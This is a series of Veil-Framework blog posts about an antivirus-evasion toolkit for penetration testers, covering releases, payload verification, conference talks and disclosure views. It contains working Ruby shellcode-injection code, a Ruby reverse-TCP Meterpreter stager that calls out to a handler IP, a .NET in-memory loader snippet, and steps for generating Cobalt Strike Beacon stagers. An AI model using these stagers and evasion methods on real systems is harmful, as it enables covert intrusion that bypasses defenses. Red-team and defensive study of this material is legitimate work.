April V-Day – BDF Updates!

Hello All!

For our April V-Day, we’ve been working with our friend Josh (@midnite_runr) to get the latest Backdoor Factory updates added in to Veil-Evasion.  There’s been a number of updates to Backdoor Factory lately that had yet to be added in, but we should have them all included now.  One of the most recent changes includes automatic PE patching when backdooring an executable.  @Midnite_runr has been working on adding that feature in for some time, so it’s awesome that his hard work has paid off!  He’s documented a lot of the updates in this video.

If you have any questions, feel free to ask in #Veil on Freenode, and thanks to @midnite_runr for his awesome work!

Honor Amongst Thieves – Building Trust in Veil-Evasion Payloads

Anytime that a professional pen tester, or red teamer, uses a tool on an assessment, your customer is trusting you to not introduce additional vulnerabilities into their network.  When you create a backdoor through Veil-Evasion, or any other payload generator, you need to be sure that the payload you are creating connects back to you and only you.  So how can you ensure that the payloads generated by Veil-Evasion only connects to where it is explicitly specified to connect to?  One way would be to perform a complete source code review of Veil-Evasion and perform an environmental analysis of the generated payload.  This method would provide the highest level of assurance.

There is also another way.  There are a number of scripts that can be used to extract the Python source code from a PyInstaller executable.  One such script is called PyInstaller Extractor and written by extremecoders.  This script will extract all files within the PyInstaller executable, including the Python source code.  We can then compare the extracted Python source code with the source code file that’s created alongside of the PyInstaller executable when using Veil-Evasion.  The two Python source code files will match up and prove that there is not any additional code added inside the “compiled” payload, thus the original source code output can be reviewed and trusted as being the actual source code in the resulting payload.  Ironically, as long as the original source code is reviewed and understood to be non-malicious, then you can trust Veil-Evasion payloads.  So, let’s get along with proving this!

Note: This article only discusses PyInstaller payloads.

First, download the PyInstaller Extractor script and place it in the same directory as your Python payload.  Call the PyInstaller Extractor script and pass the Veil-Evasion payload in as the script’s only option.  The script will now extract the files from the PyInstaller executable.  When you ls you should see the different files that were contained within the payload.

Extracted Payload

In this case, since the payload we are looking at was named veilpayload.exe, the extracted file we are looking for is therefore veilpayload.  The veilpayload file contains the Python code that is carried out when running the original executable.  Now, lets perform a comparison of the source code output from Veil-Evasion, and the extracted source code.

Original Source Code

 Original Source Code Output from Veil-Evasion

Extracted Python Code

Extracted Source Code from Veil-Evasion Payload

Performing a quick visual check against the two scripts shows that they are virtually identical outside of small formatting differences and the additional null byte at the end of the extracted source code.  Performing a diff of the two files also verifies this information.

Scripts diffed

In retrospect, this probably should have been among the first few published posts since Veil-Evasion’s initial release.  However, hindsight is always 20/20, so we’re happy we’re able to provide some level of assurance that your Veil-Evasion payloads aren’t backdoored in any way.  Please feel free to follow the steps outlined in this blog post to verify for yourself.  If you have any additional questions, feel free to hit us up on Twitter, Github, E-mail, or on Freenode in #veil!

A Year of V-Days

Exactly a year ago today, we introduced V-Day, our continuous release cycle for Veil-Evasion. We wanted to provide a way to systematically release our evasion research as it progressed, as well as letting everyone know that Veil-Evasion is an actively maintained and developed project.

Back in May we reflected on a year of development for the Veil-Framework. We promise we won’t wax poetic again about the how far the project’s come, how much fun we’ve had developing Veil and interacting with the community, or how awesome the reception at Defcon was from everyone.

Instead, we’re going to cut to the chase and detail our 1 year V-Day anniversary, our biggest release yet.

Ruby Modules

The coolest news this month is the release of Ruby payload modules. Ruby has a foreign function interface similar to Python’s ctypes. It’s a gem named win32-api, and it will allow you to access and manipulate lower-level Windows32 API functions. This means we can inject shellcode generated from msfvenom using the newly released ruby/shellcode_inject/flat module:

require 'rubygems'
require 'win32/api'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# our shellcode
payload = "\xfc\xe8\x89..."

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

But it doesn’t stop there. With this API access, we can also build a pure Ruby reverse_tcp Meterpreter stager, following the same pattern we’ve described in the past. The ruby/meterpreter/rev_tcp stager is a pure-Ruby stage 1 Meterpreter loader, which doesn’t rely on shellcode:

require 'rubygems'
require 'win32/api'
require 'socket'
include Win32
exit if Object.const_defined?(:Ocra)

# set up all the WinAPI function declarations
VirtualAlloc = API.new('VirtualAlloc', 'IIII', 'I')
RtlMoveMemory = API.new('RtlMoveMemory', 'IPI', 'V')
CreateThread = API.new('CreateThread', 'IIIIIP', 'I')
WaitForSingleObject = API.new('WaitForSingleObject', 'II', 'I')

# needed to translate a ruby socket into an actual system file descriptor / socket num
get_osfhandle = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')

# connect to our handler
s = TCPSocket.open('192.168.52.150', 4444)

# read/decode the size of the metepreter payload being transmitted
payloadLength = Integer(s.recv(4).unpack('L')[0])

# 5 spaces -> 1 byte for ASM code, 4 byes for socket descriptor (below)
payload = "     "

# make sure we get all of the meterpreter payload
while payload.length < payloadLength payload += s.recv(payloadLength) end #prepend a little assembly to move our SOCKET value to the EDI register # BF 78 56 34 12 => mov edi, 0x12345678
payload[0] = ['BF'].pack("H*")
socketID = get_osfhandle.call(s.fileno)

# copy in the underlying socket ID into the buffer
for i in 1..4
payload[i] = Array(socketID).pack('V')[i-1]
end

# Reserve the necessary amount of virtual address space
# VirtualAlloc needs to have at least 0x1000 specified as the length otherwise it'll fail
ptr = VirtualAlloc.call(0,(payload.length > 0x1000 ? payload.length : 0x1000), 0x1000, 0x40)

# move the payload buffer into the allocated area
x = RtlMoveMemory.call(ptr,payload,payload.length)

# start the thread
handleID = CreateThread.call(0,0,ptr,0,0,0)

# wait a long time for the thread to return
x = WaitForSingleObject.call(handleID,0xFFFFFFF)

These Ruby approaches are great, but you’re probably heard us iterate again and again on how we want a single monolithic attack platform. We hate having to switch back to a Windows box with a specific environment installed (Python, Ruby, etc.) in order to compile our backdoors. Hence our philosophy of trying to only release module families that can compile to Windows executables, all on Kali linux.

Luckily, Ruby has a nice analogue for Pyinstaller, a gem named OCRA, which stands for “One Click Ruby Application”. It follows the same general idea that Pyinstaller does, by wrapping up a Ruby environment, dependencies and target script that are extracted to a temporary directory on a target and executed. And happily, with a bit of trickery we can get this all running on Kali linux as well :)

veil_evasion_ruby_compilation

With the new update, the ./setup.sh script for Veil-Evasion will install Ruby under Wine along with the necessary gems. We’ll have a few more Ruby stagers for release next month, and I spoke about this payload family during my BSides Augusta presentation “Adventures in Asymmetric Warfare: Fighting the AV Vendors“.

A .NET Crypter

Also released this V-Day, and also covered in the BSides Augusta presentation, is a basic .NET “crypter” named Arya. C#/VB.net code is compiled, not interpreted, so we can’t quite build a dynamic obfuscator equivalent to Pyherion. However, .NET has an interesting feature called reflection, which you can use to create type instances at run time, and to invoke and access them. If we have an array of raw bytes of a .NET binary, we can run the entire executable from memory with 3 lines by utilizing reflection:


Assembly a = Assembly.Load(bytes);
MethodInfo m = a.EntryPoint;
m.Invoke(a.CreateInstance(m.Name), null);

We can obfuscate those bytes in any way we want beforehand, and can store them locally in the file or remotely to download and execute. When Arya is run as a standalone script, you have the option to feed it C# source code or a precompiled .NET .exe. It will then generate either a launcher for the obfuscated source, or a dropper that downloads the obfuscated .NET snippet from a URI. The option use_arya has also been implemented into every C# Veil-Evasion payload, giving you the option to implement another level of obfuscation:

veil_evasion_arya

Ubuntu Compatibility

One of the most common requests we received at Defcon was for support beyond just Kali linux. And while Kali remains as our only *officially* supported platform, we’re happy to announce that @TheMightyShiv has brought Ubuntu 14+ and Debian 7+ compatibility to Veil-Evasion, along with non-root installations!

If you have a fresh Ubuntu 14 image, you can run the short setup script hosted at this gist which will install the latest versions of the Metasploit framework and Veil-Evasion.

If you already have Metasploit installed, clone off Veil-Evasion and fire up the ./setup/setup.sh script:

$ git clone https://github.com/Veil-Framework/Veil-Evasion.git
$ cd Veil-Evasion/setup/
$ ./setup.sh

When you launch the script, you’ll be prompted for your password to sudo. While all the Apt dependencies are being installed, you’ll be on this screen for a bit:

ubuntu_evasion_setup1

If you want to check the status of the install or see what’s happening, check the setup.log in the ./setup/ folder:

ubuntu_evasion_setup2

When you hit this screen, tab over to <Yes> to accept the EULA:

ubuntu_evasion_setup3

And when you his this screen, click Yes to overwrite the existing files:

ubuntu_evasion_setup4

Finally, when you hit the end of the setup, enter the installation path for your Metasploit installation. If you used the gist setup or other common setup scripts, this path is likely at /usr/local/share/metasploit-framework/ :

ubuntu_evasion_setup5

After that everything *should* run properly. There are likely a few issues we missed, so if you run into any problems please submit an issue to our github.

Thanks again to everyone for all their support. We’re looking forward to another great year of releases.

August 15th V-Day: Smash and Pillage

We have a two-part release for everyone this V-Day. First, we have two new PowerShell stagers for Veil-Evasion, powershell/meterpreter/rev_http and powershell/meterpreter/rev_https. For some more background on how the reverse_http[s] stagers work, check out the post on the Python versions of those stagers. As with the other versions of these stagers, we get Beacon compatibility for free as well.

Second, a new tool for the Veil-Framework was released last week at Defcon 22. Veil-Pillage is a modular post-exploitation framework that subsumes Veil-Catapult and implements a ton more features. The slides for the presentation on pillage given at Defcon, “Veil-Pillage: Post-Exploitation 2.0” are located here on slideshare, and the three recorded demos given during the presentation are available here. Once the video of the presentation is online this post will be updated. We’ll have some posts in the upcoming weeks covering Veil-Pillage’s feature set, modules, use cases and more. We also have a few Pillage module ideas in the pipeline, which will be released on the 1st of each month.

And a big thank you to everyone at Hacker Summer Camp. We have a great time talking to everyone about the Veil-Framework at Blackhat Arsenal (slides here), and the response to the Defcon presentation has been awesome. We appreciate everyone’s support and hope to keep releasing more cool stuff over the next year!

The State of the Veil-Framework

Today, 1 year ago, Veil was publicly released, and it’s humbling to look at how far we’ve come since then.

When we initially released Veil, it was a single flat 538-line file that only contained 7 different payloads. Thanks to the hard work of @harmj0y and @themightyshiv, Veil was expanded into a fully functional framework with significantly expanded capabilities, and the AV-evasion component was renamed Veil-Evasion. With the release of Veil-Catapult and Veil-PowerView, we’ve started looking beyond just the problem of antivirus towards other offensive areas. Our continuing goal with the Veil-Framework is to maintain an open-source toolkit that spans particular gap areas we’ve encountered.

Veil-Evasion originally supported only three different payload shellcode-injection options, Meterpreter’s reverse_tcp, reverse_http, and reverse_https payloads. As of Veil-Evasion 2.0, all Windows payloads from the Metasploit tree are now loaded and available for use within any */shellcode_inject/* payload. Our payload releases then moved beyond just shellcode injectors with the release of native Meterpreter tcp and http[s] stagers, and we soon started a continual payload release cycle name VDay. We’ve debated disclosure, introduced some auxiliary modules, released a Python obfuscator named Pyherion, and recently integrated a generator for obfuscated Pyinstaller loaders named Pwnstaller. We showed you how to easily check if your payloads have been submitted to Virustotal, integrated Veil-Evasion with Cortana, and got a proper logo. Along the way we’ve had the honor of presenting at Shmooon, CarolinaCon, and soon Defcon. Oh, and we just got our own McAfee signature :)

mcafee_signature

The framework structure now allows anyone to expand or modify the existing codebase. New payload generation modules (public or private) can be dropped into an appropriate language folder and will be automatically loaded up by the framework. We have a lot of existing functionality you can draw on for development of private payload modules, a template located in the tree at ./modules/payloads/template.py, and a tutorial on payload development posted here.

So, we’re a year in now, but where do we go from here? We have a couple of goals we hope to achieve:

  • Port msfvenom to Python – We use MSF’s msfvenom for shellcode generation in the shellcode_inject modules when code isn’t supplied by the user. Being dependent on a third party tool can cause occasional issues, e.g. when the output of msfvenom was modified and a variety of our payloads would crash on execution. Porting msfvenom to Python will allow us to have complete control of the output, and any changes to the tool would be controlled by the Veil Development team, allowing us to account for the changes within the framework.
  • Research – We have a reasonable chunk of private research that’s been feeding our VDay releases. We currently have enough to continue VDay into next year, with some cool stuff hitting in the next few months. We’re keeping on our research efforts and hope to be releasing for a while :)
  • New tool development – We keep building tools to span whatever gap areas we see. The newest tool in development by @harmj0y is a post-exploitation framework named Veil-Pillage, and will be presented on at Defcon.

All that’s really left to say is thanks. We started off creating this project for our own use, but we soon realized we should try to give something back to the industry by making Veil publicly available. The community uptake and use of Veil has been nothing but humbling for all of us. Never did we expect so many people to hear of and use Veil, let alone have it be added to Kali Linux. There have been blog posts, how-to videos, and more developed by the community which showcase the framework and talk about how it’s been successfully used. For all the kind words and support, we thank you.

As always, if anyone ever has any questions on framework modifications, ideas for techniques or modules, or just wants to bounce offensive ideas off of someone, please feel free to get in touch with us. These tools are something we’re genuinely passionate about, and we love talking about new techniques, ways to get better, or simply helping others. We’re just a quick forum post, e-mail, tweet, or IRC message away (#veil on Freenode!).

Thanks for a great first year, and we hope to have many more. Don’t get caught!

#avlol

 

Feb 15th V-Day Release

For our V-Day this month, we have created a new “type” of add-on to Veil-Evasion.  We are releasing two auxiliary modules this month based off of feedback we’ve heard from the community.  The modules are:

  • War file wrapper
  • Python “compiler”

To go into a little more detail, we’ve been asked multiple times if Veil is able to create a .war payload.  As of yesterday, this functionality was not in Veil-Evasion.  If users wanted to create a .war payload, they had to perform the process themselves manually.  However, with the inclusion of the War file wrapper, this doesn’t need to be done manually anymore.  You can simply invoke the war wrapper like you would any other Veil-Evasion payload.  However, the only option it needs is the path to an executable.  Once you “generate” your payload, you will now have a .war file of the executable file you provided.

WarFile

The python “compiler” is something that resulted out of the large number of tests we run when trying to make a payload.  We would always have to look up the exact command to convert any python script we were currently working on into a Windows executable.  Well, we decided it would be easier to just automate this process too.  So the pyinstaller wrapper will take any python script as its required option, and “compile” it into an executable.

Pyinstaller wrapper

Thanks for using the Veil-Framework, please keep giving us a feedback, we do listen, and if you have any questions, just ask in our forums!

Shmoocon Recap

This past Saturday the Veil team presented our talk “AV Evasion With the Veil Framework” at Shmoocon 2014. It was an awesome experience, and we greatly appreciate all the feedback and support we received. The slides from the talk have been posted on slideshare.  We also gave the same talk at ShmooconEpilogue, hosted by NOVAHackers, and our presentation was recorded.  To see the video, just click here.

With the release of Veil-Catapult and our move towards expanding the Veil framework beyond just Veil-Evasion, we wanted to brief everyone again on the new github project structure. The original tool formerly known just as “Veil” now resides at https://github.com/veil-framework/Veil-Evasion while Veil-Catapult resides in its own repo at https://github.com/Veil-Framework/Veil-Catapult. We will maintain a superproject at https://github.com/Veil-Framework/Veil that will always pull down and set up stable branches of each tool in the Veil-Framework. We recommend that most users clone the superproject and use its update script to take care of everything.

Based on feedback from Shmoo, we implemented the ability to auto-spawn a handler for session catching when using Veil-Evasion in Veil-Catapult. If you set SPAWN_CATAPULT_HANDLER=”true” in /etc/veil/settings.py and then utilize Veil-Evasion to generate a payload to deliver in Veil-Catapult, a window will open that automatically fills in the options for msfconsole. At this point, this is disabled by default.

We also wanted to go over a lesser known shellcode injection technique that we spoke about during our presentation, specifically how we are injecting into memory with via the processes’s heap.  We found that utilizing the processes’s heap for storing and then executing our shellcode was possible while researching methods to allocate memory and modify the permissions (read, write, execute) of the memory that has been allocated.  Although, after finally getting heap based injection working, we also found that it has been documented elsewhere.

Heap based injection is very similar to injecting into memory with VirtualAlloc.  First, we create a private heap object, via HeapCreate.  This allows the calling process to use the heap object.  Once the object has been created, we allocate a block of memory from the heap object to store our shellcode with HeapAlloc.  These two calls are the only difference between injecting into memory via the heap or utilizing a VirtualAlloc call.  Once the space has been allocated (as read/write/executable), we move our shellcode into memory with RtlMoveMemory, spawn a thread that executes the shellcode via CreateThread, and then we simply wait for our spawned thread (containing out Meterpreter session) to finish its execution, via WaitForSingleObject, before exiting the entire process.

If anyone has any additional feedback, questions, or ideas, please hit us up on freenode on the #veil channel, email us or reach out to any of us on twitter (info on our contact page), or submit issues on our github.  Thanks for all the support, and we hope to keep making something we love that also helps our community.

On Disclosure

Most pentest firms have their own methods of antivirus evasion, and most firms tend to keep these close to the chest to maximize the window of effectiveness. It should come as no surprise to anyone that Veil’s codebase was kept private for several months, until a series of internal debates led us to release the project. We ultimately agreed that sharing information with the public community was the best course of action.

Some people have argued against sharing of these kinds of techniques. We fundamentally disagree, and feel that public information sharing is a good thing. Think of how much further along we all are because of the Metasploit project; think of the improved defenses we have because people have publicly shared exploit techniques; think of how much more effective our industry has become at emulating true threats after sharing awesome techniques at major conferences. To channel HD Moore, “In this case, like many others, the bad guys already won.” The best defense is information, and as a community it’s in our best interest to share these techniques and promote progress.

On the flip side of the coin, we’re giving this effort to the community with the full knowledge that it will likely diminish the effective window of these techniques that we ourselves use on assessments. We say, bring it on- we’re trying to push things forward, and we hope that others will join the fight for the good of the community. Our primary goal is to help penetration testers more effectively simulate threats by minimizing the time spent on getting around particular antivirus solutions. And we have enough exciting stuff to release over the next year that we hope AV won’t be a problem anytime soon.

How to use Cobalt Strike’s Beacon with Veil

Raphael Mudge recently made a great post on how to deliver and execute Beacon on a targeted machine with the metasploit framework. What’s great is that the Veil-Evasion framework also supports the creation of an executable that will act as a stager for Beacon right out of the box! We figured it would be worthwhile to show how to do this with one of Veil’s payloads. You can follow this guide or use the post that Raffi made as it follows nearly identical steps.

To begin, we want to start up Cobalt Strike and set up a Beacon listener on any port, in this case, we’ll use a http Beacon on port 80.

BeaconListener

With our handler setup, it’s important to look at the CobaltStrike console and note the location of the beacon dll that we will be using. You should see something like this:

Beacon Location

Once we have this info, let’s drop into Veil-Evasion. Basically we can choose any Veil payload type. In this instance, I’ll use python/FlatInjection. We don’t need to do anything special at this moment, just give Veil the “generate” command.

Flat Injection Selected

This next section is where we will point to our beacon listener. The payload we want to use is windows/dllinject/reverse_http. After that, provide Veil with the IP and port that your beacon listener is setup to use. One thing to note, is we will need to add in an “extra” option, which is the location of our dll (which we received earlier). Our console should look similar to the following:

Beacon Generated

After generating your shellcode, just provide a name for the executable, and you should be good to go. Simply take the executable and drop it onto your target/victim system by any means necessary. After getting it on the machine, and executing the payload, you should see your Beacon start checking in.

Received Beacon

If you have any questions on this, be sure to let us know, hit us up on twitter, leave a comment, or submit a github issue if needed. Otherwise, hope this helps and don’t get caught!